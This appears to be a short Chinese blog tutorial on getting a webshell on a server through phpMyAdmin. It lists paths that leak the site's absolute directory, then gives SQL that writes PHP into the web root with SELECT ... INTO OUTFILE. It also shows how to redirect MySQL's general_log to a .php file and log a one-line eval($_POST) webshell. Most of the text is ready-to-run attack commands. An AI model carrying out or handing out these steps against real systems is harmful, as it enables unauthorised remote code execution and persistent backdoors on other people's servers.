phpmyadmin两种拿shell

2018-12-07  本文已影响17人  帅猪佩奇

 简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

暴绝对路径

要写文件必须要知道根路径,否则即使写入了也无法访问,也就自然无法getshell,

phpMyAdmin/libraries/select_lang.lib.php

phpMyAdmin/darkblue_orange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

phpmyadmin直接写入文件

先要知道根路径利用错误爆路径等,这里用phpinfo查看根路径

写入 一句phpinfo文件,

    SELECT "<?php phpinfo();?>" INTO OUTFILE  "E:\\wamp\\wamp\\www\\2.php"

这里必须注意要双反斜线,否则会转义,

可以看到已经上传并且解析

利用日志getshell

原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell

第一步手动开启日志。

set global  general_log='on'   //首先设置为on

然后 查看是否开启成功

show variables like "general_log%"

ON为开启,此时我们设置 日志路径

    set global  general_log_file ="E:\\wamp\\wamp\\www\\3.php"

然后只要执行的语句都会写入到日志文件中,所以我们查询语句

select '<?php eval($_POST['a']);?>'

会报错但是已经写入到日志中去了

此时连接网站/3.php即可getshell。

上一篇 下一篇

猜你喜欢

热点阅读